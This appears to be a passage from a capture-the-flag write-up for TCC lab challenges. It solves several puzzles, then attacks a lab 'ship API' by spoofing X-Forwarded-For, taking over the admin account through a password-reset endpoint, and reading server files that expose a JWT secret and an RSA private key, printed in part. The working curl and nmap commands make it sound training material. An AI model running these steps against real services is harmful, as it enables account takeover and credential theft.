60488/tcp open  http    Apache httpd 2.4.56 ((Debian))
60489/tcp open  http    Apache httpd 2.4.56 ((Debian))
60494/tcp open  http    Apache httpd 2.4.56 ((Debian))
60495/tcp open  http    Apache httpd 2.4.56 ((Debian))
```

Content of few randomly choosen seems almost the same. Check the hashes of the responses.

Prepare ports to download from `sudo nmap -p- keyword-of-the-day.cns-jv.tcc | grep open | cut -d '/' -f 1 > PORTs.txt` .

Download each website `while read p; do curl "http://keyword-of-the-day.cns-jv.tcc:$p" --compressed -o $p.out ; done <PORTs.txt` .

Caculate md5sums `md5sum *`

```
5534d7dfdd95ef7812fabf925bbb1af3  60000.out
5534d7dfdd95ef7812fabf925bbb1af3  60004.out
5534d7dfdd95ef7812fabf925bbb1af3  60009.out
5534d7dfdd95ef7812fabf925bbb1af3  60010.out
5534d7dfdd95ef7812fabf925bbb1af3  60011.out
5534d7dfdd95ef7812fabf925bbb1af3  60015.out
5534d7dfdd95ef7812fabf925bbb1af3  60018.out
5534d7dfdd95ef7812fabf925bbb1af3  60019.out
5534d7dfdd95ef7812fabf925bbb1af3  60020.out
5534d7dfdd95ef7812fabf925bbb1af3  60021.out
5534d7dfdd95ef7812fabf925bbb1af3  60023.out
5534d7dfdd95ef7812fabf925bbb1af3  60029.out
5534d7dfdd95ef7812fabf925bbb1af3  60030.out
5534d7dfdd95ef7812fabf925bbb1af3  60031.out
5534d7dfdd95ef7812fabf925bbb1af3  60032.out
5534d7dfdd95ef7812fabf925bbb1af3  60033.out
0cfc72e6450c19df85f9c9604f207dff  60035.out
0cfc72e6450c19df85f9c9604f207dff  60036.out
0cfc72e6450c19df85f9c9604f207dff  60037.out
0cfc72e6450c19df85f9c9604f207dff  60038.out
0cfc72e6450c19df85f9c9604f207dff  60041.out
0cfc72e6450c19df85f9c9604f207dff  60042.out
0cfc72e6450c19df85f9c9604f207dff  60045.out
0cfc72e6450c19df85f9c9604f207dff  60047.out
0cfc72e6450c19df85f9c9604f207dff  60051.out
0cfc72e6450c19df85f9c9604f207dff  60052.out
0cfc72e6450c19df85f9c9604f207dff  60058.out
0cfc72e6450c19df85f9c9604f207dff  60059.out
0cfc72e6450c19df85f9c9604f207dff  60060.out
0cfc72e6450c19df85f9c9604f207dff  60063.out
0cfc72e6450c19df85f9c9604f207dff  60064.out
0cfc72e6450c19df85f9c9604f207dff  60066.out
0cfc72e6450c19df85f9c9604f207dff  60068.out
0cfc72e6450c19df85f9c9604f207dff  60069.out
0cfc72e6450c19df85f9c9604f207dff  60071.out
0cfc72e6450c19df85f9c9604f207dff  60074.out
0cfc72e6450c19df85f9c9604f207dff  60075.out
0cfc72e6450c19df85f9c9604f207dff  60076.out
0cfc72e6450c19df85f9c9604f207dff  60079.out
0cfc72e6450c19df85f9c9604f207dff  60080.out
019670b2a2c9640c3b33d10a3c982491  60081.out
019670b2a2c9640c3b33d10a3c982491  60082.out
019670b2a2c9640c3b33d10a3c982491  60084.out
019670b2a2c9640c3b33d10a3c982491  60087.out
019670b2a2c9640c3b33d10a3c982491  60089.out
019670b2a2c9640c3b33d10a3c982491  60096.out
019670b2a2c9640c3b33d10a3c982491  60099.out
019670b2a2c9640c3b33d10a3c982491  60100.out
019670b2a2c9640c3b33d10a3c982491  60104.out
019670b2a2c9640c3b33d10a3c982491  60105.out
019670b2a2c9640c3b33d10a3c982491  60107.out
019670b2a2c9640c3b33d10a3c982491  60108.out
019670b2a2c9640c3b33d10a3c982491  60109.out
019670b2a2c9640c3b33d10a3c982491  60111.out
019670b2a2c9640c3b33d10a3c982491  60112.out
019670b2a2c9640c3b33d10a3c982491  60115.out
019670b2a2c9640c3b33d10a3c982491  60118.out
019670b2a2c9640c3b33d10a3c982491  60120.out
019670b2a2c9640c3b33d10a3c982491  60122.out
019670b2a2c9640c3b33d10a3c982491  60125.out
019670b2a2c9640c3b33d10a3c982491  60126.out
019670b2a2c9640c3b33d10a3c982491  60129.out
019670b2a2c9640c3b33d10a3c982491  60130.out
```

```
019670b2a2c9640c3b33d10a3c982491  60134.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60135.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60136.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60138.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60140.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60143.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60144.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60145.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60157.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60159.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60160.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60161.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60163.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60165.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60166.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60169.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60174.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60175.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60177.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60178.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60179.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60180.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60181.out
c9a3bd7fb8db7a461350e8a38ed9ca0c  60185.out
978b4e0227154545d94ec16ad9609dbf  60187.out
978b4e0227154545d94ec16ad9609dbf  60189.out
978b4e0227154545d94ec16ad9609dbf  60190.out
978b4e0227154545d94ec16ad9609dbf  60192.out
978b4e0227154545d94ec16ad9609dbf  60193.out
978b4e0227154545d94ec16ad9609dbf  60195.out
978b4e0227154545d94ec16ad9609dbf  60197.out
978b4e0227154545d94ec16ad9609dbf  60201.out
978b4e0227154545d94ec16ad9609dbf  60204.out
978b4e0227154545d94ec16ad9609dbf  60209.out
978b4e0227154545d94ec16ad9609dbf  60210.out
978b4e0227154545d94ec16ad9609dbf  60212.out
978b4e0227154545d94ec16ad9609dbf  60213.out
978b4e0227154545d94ec16ad9609dbf  60214.out
978b4e0227154545d94ec16ad9609dbf  60215.out
978b4e0227154545d94ec16ad9609dbf  60217.out
978b4e0227154545d94ec16ad9609dbf  60218.out
978b4e0227154545d94ec16ad9609dbf  60221.out
978b4e0227154545d94ec16ad9609dbf  60222.out
978b4e0227154545d94ec16ad9609dbf  60225.out
978b4e0227154545d94ec16ad9609dbf  60228.out
978b4e0227154545d94ec16ad9609dbf  60229.out
1865b8856ae18d9f095a14666da7e023  60230.out
1865b8856ae18d9f095a14666da7e023  60234.out
1865b8856ae18d9f095a14666da7e023  60239.out
1865b8856ae18d9f095a14666da7e023  60240.out
1865b8856ae18d9f095a14666da7e023  60242.out
1865b8856ae18d9f095a14666da7e023  60244.out
1865b8856ae18d9f095a14666da7e023  60245.out
1865b8856ae18d9f095a14666da7e023  60247.out
1865b8856ae18d9f095a14666da7e023  60249.out
1865b8856ae18d9f095a14666da7e023  60253.out
1865b8856ae18d9f095a14666da7e023  60254.out
1865b8856ae18d9f095a14666da7e023  60255.out
1865b8856ae18d9f095a14666da7e023  60256.out
ba78fb78b670b1b1a4c15e525bc3000b  60257.out
1865b8856ae18d9f095a14666da7e023  60258.out
1865b8856ae18d9f095a14666da7e023  60259.out
1865b8856ae18d9f095a14666da7e023  60260.out
1865b8856ae18d9f095a14666da7e023  60261.out
1865b8856ae18d9f095a14666da7e023  60262.out
74bddd9122befe123f09ff3762716c00  60266.out
74bddd9122befe123f09ff3762716c00  60267.out
74bddd9122befe123f09ff3762716c00  60269.out
74bddd9122befe123f09ff3762716c00  60270.out
74bddd9122befe123f09ff3762716c00  60273.out
74bddd9122befe123f09ff3762716c00  60276.out
74bddd9122befe123f09ff3762716c00  60277.out
74bddd9122befe123f09ff3762716c00  60278.out
74bddd9122befe123f09ff3762716c00  60280.out
74bddd9122befe123f09ff3762716c00  60281.out
74bddd9122befe123f09ff3762716c00  60283.out
74bddd9122befe123f09ff3762716c00  60286.out
74bddd9122befe123f09ff3762716c00  60288.out
74bddd9122befe123f09ff3762716c00  60290.out
```

```
74bddd9122befe123f09ff3762716c00  60294.out
74bddd9122befe123f09ff3762716c00  60297.out
74bddd9122befe123f09ff3762716c00  60299.out
74bddd9122befe123f09ff3762716c00  60303.out
74bddd9122befe123f09ff3762716c00  60304.out
74bddd9122befe123f09ff3762716c00  60307.out
b9580a523f6ff0eef03ad5ed511beef7  60309.out
b9580a523f6ff0eef03ad5ed511beef7  60310.out
b9580a523f6ff0eef03ad5ed511beef7  60311.out
b9580a523f6ff0eef03ad5ed511beef7  60313.out
b9580a523f6ff0eef03ad5ed511beef7  60318.out
b9580a523f6ff0eef03ad5ed511beef7  60320.out
b9580a523f6ff0eef03ad5ed511beef7  60322.out
b9580a523f6ff0eef03ad5ed511beef7  60323.out
b9580a523f6ff0eef03ad5ed511beef7  60327.out
b9580a523f6ff0eef03ad5ed511beef7  60331.out
b9580a523f6ff0eef03ad5ed511beef7  60332.out
b9580a523f6ff0eef03ad5ed511beef7  60333.out
b9580a523f6ff0eef03ad5ed511beef7  60341.out
b9580a523f6ff0eef03ad5ed511beef7  60343.out
b9580a523f6ff0eef03ad5ed511beef7  60344.out
b9580a523f6ff0eef03ad5ed511beef7  60345.out
b9580a523f6ff0eef03ad5ed511beef7  60347.out
b9580a523f6ff0eef03ad5ed511beef7  60348.out
b9580a523f6ff0eef03ad5ed511beef7  60350.out
b9580a523f6ff0eef03ad5ed511beef7  60352.out
a4b4192fc549c8af8fc507a783b2868d  60354.out
a4b4192fc549c8af8fc507a783b2868d  60356.out
a4b4192fc549c8af8fc507a783b2868d  60357.out
a4b4192fc549c8af8fc507a783b2868d  60358.out
a4b4192fc549c8af8fc507a783b2868d  60360.out
a4b4192fc549c8af8fc507a783b2868d  60361.out
a4b4192fc549c8af8fc507a783b2868d  60362.out
a4b4192fc549c8af8fc507a783b2868d  60363.out
a4b4192fc549c8af8fc507a783b2868d  60367.out
a4b4192fc549c8af8fc507a783b2868d  60371.out
a4b4192fc549c8af8fc507a783b2868d  60372.out
a4b4192fc549c8af8fc507a783b2868d  60373.out
a4b4192fc549c8af8fc507a783b2868d  60378.out
a4b4192fc549c8af8fc507a783b2868d  60382.out
a4b4192fc549c8af8fc507a783b2868d  60383.out
a4b4192fc549c8af8fc507a783b2868d  60384.out
a4b4192fc549c8af8fc507a783b2868d  60385.out
a4b4192fc549c8af8fc507a783b2868d  60386.out
a4b4192fc549c8af8fc507a783b2868d  60387.out
a4b4192fc549c8af8fc507a783b2868d  60389.out
a4b4192fc549c8af8fc507a783b2868d  60398.out
a4b4192fc549c8af8fc507a783b2868d  60400.out
a4b4192fc549c8af8fc507a783b2868d  60402.out
a4b4192fc549c8af8fc507a783b2868d  60403.out
a4b4192fc549c8af8fc507a783b2868d  60405.out
d1dd9234874282c01112ee367c3101e5  60408.out
d1dd9234874282c01112ee367c3101e5  60411.out
d1dd9234874282c01112ee367c3101e5  60413.out
d1dd9234874282c01112ee367c3101e5  60415.out
d1dd9234874282c01112ee367c3101e5  60416.out
d1dd9234874282c01112ee367c3101e5  60418.out
d1dd9234874282c01112ee367c3101e5  60419.out
d1dd9234874282c01112ee367c3101e5  60421.out
d1dd9234874282c01112ee367c3101e5  60422.out
d1dd9234874282c01112ee367c3101e5  60424.out
d1dd9234874282c01112ee367c3101e5  60426.out
d1dd9234874282c01112ee367c3101e5  60427.out
d1dd9234874282c01112ee367c3101e5  60430.out
d1dd9234874282c01112ee367c3101e5  60432.out
d1dd9234874282c01112ee367c3101e5  60433.out
d1dd9234874282c01112ee367c3101e5  60437.out
d1dd9234874282c01112ee367c3101e5  60438.out
d1dd9234874282c01112ee367c3101e5  60440.out
d1dd9234874282c01112ee367c3101e5  60445.out
d1dd9234874282c01112ee367c3101e5  60447.out
d1dd9234874282c01112ee367c3101e5  60450.out
d1dd9234874282c01112ee367c3101e5  60451.out
d1dd9234874282c01112ee367c3101e5  60452.out
d1dd9234874282c01112ee367c3101e5  60453.out
557a98eb837cc639e70dc5100d9d92fa  60454.out
557a98eb837cc639e70dc5100d9d92fa  60456.out
557a98eb837cc639e70dc5100d9d92fa  60457.out
557a98eb837cc639e70dc5100d9d92fa  60459.out
```

```
557a98eb837cc639e70dc5100d9d92fa  60460.out
557a98eb837cc639e70dc5100d9d92fa  60461.out
557a98eb837cc639e70dc5100d9d92fa  60466.out
557a98eb837cc639e70dc5100d9d92fa  60468.out
557a98eb837cc639e70dc5100d9d92fa  60471.out
557a98eb837cc639e70dc5100d9d92fa  60473.out
557a98eb837cc639e70dc5100d9d92fa  60474.out
557a98eb837cc639e70dc5100d9d92fa  60482.out
557a98eb837cc639e70dc5100d9d92fa  60487.out
557a98eb837cc639e70dc5100d9d92fa  60488.out
557a98eb837cc639e70dc5100d9d92fa  60489.out
557a98eb837cc639e70dc5100d9d92fa  60494.out
557a98eb837cc639e70dc5100d9d92fa  60495.out
```

Output is several groups with same hash. Only hash of website from port `60257` does not match the group.

Website has message `For FLAG follow this URI /948cd06ca7 -> http://keyword-of-the-day.cns-jv.tcc:60257/948cd06ca7` .

> *FLAG{DEIE-fiOr-pGV5-8MPc}*

Signal flags

This challenge was done mostly manualy with big help of my wife (big thanks to her for translating flags to characters!).

Group ships by country (or by ship shape).

Rename files to by ordered by timestamp from the images.

Translate flag signals to text. Most of the output are hexa digits.

Finland:

```
434e53204a
6f73656620
VERICH
2c20617265
20796f7572
206e657473
206f6b2c20
746f6f3f20
3b2d29
```

Decode: `CNS Josef VERICH, are your nets ok, too? ;-)` .

```
434e53254a
6f73656620
VERICH
2c20796f75
2063616e20
IMPROVE
207468656d
20627920
526b784252
3374735648
4a484c544e
7657473474
5957396154
6931614e48
464e66513d
3d2021
```

Decoded: `CNS%Josef VERICH, you can IMPROVE them by RkxBR3tsVHJHLTNvWG4tYW9aTi1aNHFNfQ== !` .

Decode base64 string to `FLAG{lTrG-3oXn-aoZN-Z4qM}` .

> *FLAG{lTrG-3oXn-aoZN-Z4qM}*

Below deck troubles

Cat code

Looking into the code and running only its parts reveals that the first part calculates the Fibonacci numbers and more specificaly it recursively trying to calculate the 770th number.

We can lookup this number online and modify the code to work dirrectly with the value `372389983027365429815575917206642213232212628235696698065740843380067225782522577028597273117715177446328592843112586047073270623130`

> *FLAG{YcbS-IAbQ-KHRE-BTNR}*

Component replacement

Set the `X-Forwarded-For` header to value from range `192.168.96.0/20` . Unfortunately not all of the IPS works.

Prepare list of all IPs: `nmap -sL -n 192.168.96.0/20 | awk '/Nmap scan report/{print $NF}' > IPs.txt` .

Access the server with all possible values in `X-Forwarded-For` header: `while read p; do curl 'http://key-parts-list.cns-jv.tcc/' --compressed -H "X-Forwarded-For: $p"; done <IPs.txt` .

```
...
You are attempting to access from the IP address 192.168.100.31, which is not assigned to engine room. Access denied.
Spare part;Identification code;In duty
Bubler;PART{SNIg-NYW1-0eSq-vMqO};8
Camshaft;PART{BAym-Fxee-llBO-wRSz};4
Connecting rod;PART{k76T-boGS-Z2s9-BrGa};22
Continuity converter;PART{63Ph-aHXa-MOOf-yzam};4
Crankshaft;PART{ScTp-kzE4-fNed-F9AZ};4
Cylinder head;PART{sHL3-l6pw-sQuw-XVcq};96
Flywheel;PART{Fg4G-UcHw-BKaz-8ozB};12
Fuel efficiency enhancer;FLAG{MN9o-V8Py-mSZV-JkRz};0
Fuel lines;PART{NJu2-Dy2b-001D-dEyn};112
Fuel pump;PART{ymm0-I0FQ-jZ6t-FIZq};8
Rotation accelerator;PART{ZJSD-AdYM-yh3e-pOa0};4
Turbocharger;PART{iHqc-3Od4-1Yuq-jtX0};12
Piston;PART{Bxlj-Ud2U-zNfm-3XGQ};96
Plasma rectifier;PART{pxZ5-QJUJ-dzkr-I5Yt};1
Plunger pump;PART{3C1U-ghSo-euI0-wLi0};4
Self-locking fuel tank;PART{wLyo-Odc9-38IP-zfmT};12
Valve;PART{erre-BopV-7Lrw-xepu};64
...
You are attempting to access from the IP address 192.168.100.64, which is not assigned to engine room. Access denied.
...
```

> *FLAG{MN9o-V8Py-mSZV-JkRz}*

U.S.A.

Scan available directories on the server with use of tool `dirstalk` .

`dirstalk scan http://universal-ship-api.cns-jv.tcc/ -d directory-list-2.3-big.txt`

Sign-up `curl -v -s -X POST -d '{"email": "user666@test.cz", "password": "SuperTajneHeslo!"}' http://universal-ship-api.cns-jv.tcc/api/v1/user/signup -H "Content-Type: application/json"` .

Log-in to get access_token `curl -s -d 'username=user666@test.cz&password=SuperTajneHeslo!' http://universal-ship-api.cns-jv.tcc/api/v1/user/login` .

Use addon to browser `Simple Modify Headers` to add proper header:

```
Url Patterns* : http://universal-ship-api.cns-jv.tcc/*

Header Field Name: Authorization
Header Field Value: Bearer <REDACTED TOKEN>
```

Start the addon.

Access `http://universal-ship-api.cns-jv.tcc/docs` and Authorize with previously choosen credentials.

Get info of user 1 (in hope of admin account) `GET /api/v1/user/1`

```
{
  "guid": "2de2f286-aa15-4302-93c1-dcec940ee6a3",
  "email": "admin@local.tcc",
  "date": null,
  "time_created": 1690796892351,
  "admin": true,
  "id": 1
}
```

Change admin password with use of `/api/v1/user/updatepassword` :

```
{
  "guid": "2de2f286-aa15-4302-93c1-dcec940ee6a3",
  "password": "SuperTajneHeslo2!"
}
```

Authorize as admin (stop the browser addon first).

Try to get the flag `/api/v1/admin/getFlag` but with no luck.

```
{
  "detail": "flag-read key missing from JWT"
}
```

Get more informations with use of `/api/v1/admin/file`

```
{
  "file": "/proc/self/environ"
}
```

```
{
  "file":
"HOSTNAME=2a7b8ebca73e\u0000PYTHON_VERSION=3.10.13\u0000APP_MODULE=shipapi.main:app\u0000PWD=/app\u0000PORT=80\u0000PYTHON_SETUPTOOL
8\u0000VIRTUAL_ENV=/app/venv\u0000GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\u0000PYTHONPATH=.\u0000HOST=0.0.0.0\u0000SHLVL=0\
(venv) \u0000PYTHON_GET_PIP_SHA256=22b849a10f86f5ddf7ce148ca2a31214504ee6c83ef626840fde6e5dcd809d11\u0000PS1=(venv)
\u0000PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/c6add47b0abf67511cdfb4734771cbab403af062/public/get-
pip.py\u0000PATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000"
}
```


Relevant info:

`APP_MODULE=shipapi.main:app` `PWD=/app`

Next file:


```
{
  "file": "/app/shipapi/main.py"
}
```



```
{
  "file": "import asyncio\n\nfrom fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends\nfrom
fastapi_contrib.common.responses import UJSONResponse\nfrom fastapi import FastAPI, Depends, HTTPException, status\nfrom
fastapi.security import HTTPBasic, HTTPBasicCredentials\nfrom fastapi.openapi.docs import get_swagger_ui_html\nfrom
fastapi.openapi.utils import get_openapi\n\nfrom typing import Optional, Any\nfrom pathlib import Path\nfrom sqlalchemy.orm import
Session\n\nfrom shipapi.schemas.user import User\nfrom shipapi.api.v1.api import api_router\nfrom shipapi.appconfig.config import
settings\n\nfrom shipapi import deps\nfrom shipapi import crud\n\napp = FastAPI(title=\"Naval ship API\", openapi_url=None,
docs_url=None, redoc_url=None)\nroot_router = APIRouter(default_response_class=UJSONResponse)\n\n\n@app.get(\"/\", summary=\" \",
status_code=200, include_in_schema=False)\ndef root():\n    \"\"\"\n    Root\n    \"\"\"\n    return {\"msg\": \"Naval ship API
version 1.0\"}\n\n\n@app.get(\"/api\", summary=\"List versions\", status_code=200, include_in_schema=False)\ndef
list_versions():\n    \"\"\"\n    API versions\n    \"\"\"\n    return {\"endpoints\": [\"v1\"]}\n\n\n@app.get(\"/api/v1\",
summary=\"List v1 endpoints\", status_code=200, include_in_schema=False)\ndef list_endpoints_v1():\n    \"\"\"\n    API v1
Endpoints\n    \"\"\"\n    return {\"endpoints\": [\"user\", \"admin\"]}\n\n\n@app.get(\"/docs\", summary=\"Documentation\",
include_in_schema=False)\nasync def get_documentation(\n        current_user: User = Depends(deps.parse_token)\n):\n    return
get_swagger_ui_html(openapi_url=\"/openapi.json\", title=\"Naval ship API docs\")\n\n\n@app.get(\"/openapi.json\",
include_in_schema=False)\nasync def openapi(\n        current_user: User = Depends(deps.parse_token)\n):\n    return
get_openapi(title=\"Naval Ship API\", version=\"1.0\", routes=app.routes)\n\n\napp.include_router(api_router,
prefix=settings.API_V1_STR)\napp.include_router(root_router)\n\n\ndef start():\n    import uvicorn\n\n    uvicorn.run(app,
host=\"0.0.0.0\", port=80, log_level=\"debug\")\n\n\nif __name__ == \"__main__\":\n    import uvicorn\n\n    uvicorn.run(app,
host=\"0.0.0.0\", port=80, log_level=\"debug\")\n"
}
```


Relevant info:

`from shipapi.api.v1.api import api_router` `from shipapi.appconfig.config import settings`

Next file:


```
{
  "file": "/app/shipapi/api/v1/api.py"
}
```



```
{
  "file": "from fastapi import APIRouter\n\nfrom shipapi.api.v1.endpoints import user, admin\n\n\napi_router =
APIRouter()\napi_router.include_router(user.router, prefix=\"/user\", tags=[\"user\"])\napi_router.include_router(admin.router,
prefix=\"/admin\", tags=[\"admin\"])\n\n\n"
}
```


Relevant info:

`from shipapi.api.v1.endpoints import user, admin`

Next file:


```
{
  "file": "/app/shipapi/api/v1/endpoints/admin.py"
}
```



```
{
  "file": "import asyncio\n\nfrom fastapi import APIRouter, Depends, HTTPException, Query, Request\nfrom sqlalchemy.orm import
Session\nfrom typing import Any, Optional\n\nfrom shipapi import crud\nfrom shipapi import deps\n\nfrom shipapi import
schemas\n\nfrom shipapi.schemas.admin import GetFile\nfrom shipapi.schemas.user import User\nimport requests\n\n\nrouter =
APIRouter()\n\n\n@router.get(\"/\", status_code=200)\ndef admin_check(\n    *, \n    current_user: User =
Depends(deps.parse_token),\n    db: Session = Depends(deps.get_db)\n) -> dict:\n    \"\"\"\n    Returns true if the user is in
admin role\n    \"\"\"\n    if current_user['admin']:\n        return {\"results\": True }\n\n    return {\"results\": False
}\n\n\n@router.post(\"/file\", status_code=200)\ndef get_file(\n    file_in: GetFile,\n    current_user: User =
Depends(deps.parse_token),\n    db: Session = Depends(deps.get_db)\n) -> str:\n    \"\"\"\n    Returns a file on the server\n
\"\"\"    \n    if not current_user['admin']:\n        return {\"msg\": \"Permission Error\"}\n    try:\n        with
open(file_in.file) as f:\n            output = f.read()\n            return {\"file\": output}\n    except:\n        raise
HTTPException(status_code=404, detail=\"File not found\")\n\n@router.put(\"/getFlag\", status_code=200)\ndef
get_flag(current_user: User = Depends(deps.parse_token)) -> Any:\n    \"\"\"\n    The Flag\n    \"\"\"\n    if not
```

```
current_user['admin']:\n        return {\"msg\": \"Permission Error\"}\n\n    if \"flag-read\" not in current_user.keys():\n
raise HTTPException(status_code=400, detail=\"flag-read key missing from JWT\")\n\n    flag =
requests.get('http://flagship:8000').text\n    return {\"Flag\":flag}\n"
}
```

Next file:

```
{
  "file": "/app/shipapi/appconfig/config.py"
}
```

```
{
  "file": "from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator\nfrom typing import List, Optional, Union\n\nfrom
enum import Enum\n\n\nclass Settings(BaseSettings):\n    API_V1_STR: str = \"/api/v1\"\n\n    JWT_RSA_KEY =
open('shipapi/appconfig/jwtsigning.key').read()\n    JWT_RSA_PUB = open('shipapi/appconfig/jwtsigning.pub').read()\n    ALGORITHM:
str = \"RS384\"\n#   We don't use symmetric cipher algo anymore\n    JWT_SECRET: str =
\"TW!BMP9yVRiDEziTsekVoHZJFcXQgZf8\"\n\n\n\n    ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8\n    CORS_ORIGINS: List[AnyHttpUrl]
= []\n\n    @validator(\"CORS_ORIGINS\", pre=True)\n    def assemble_cors_origins(cls, v: Union[str, List[str]]) ->
Union[List[str], str]:\n        if isinstance(v, str) and not v.startswith(\"[\"):\n            return [i.strip() for i in
v.split(\",\")]\n        elif isinstance(v, (list, str)):\n            return v\n        raise ValueError(v)\n\n
SQLALCHEMY_DATABASE_URI: Optional[str] = \"sqlite:///navalship.db\"\n\n    class Config:\n        case_sensitive = True\n
\n\nsettings = Settings()\n"
}
```

Relevant info:

`JWT_RSA_KEY = open('shipapi/appconfig/jwtsigning.key').read()` `JWT_RSA_PUB = open('shipapi/appconfig/jwtsigning.pub').read()`
`JWT_SECRET: str = \"TW!BMP9yVRiDEziTsekVoHZJFcXQgZf8\"` `ALGORITHM: str = \"RS384\"`

RSA keys:

`jwtsigning.key`

```
-----BEGIN RSA PRIVATE KEY-----
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
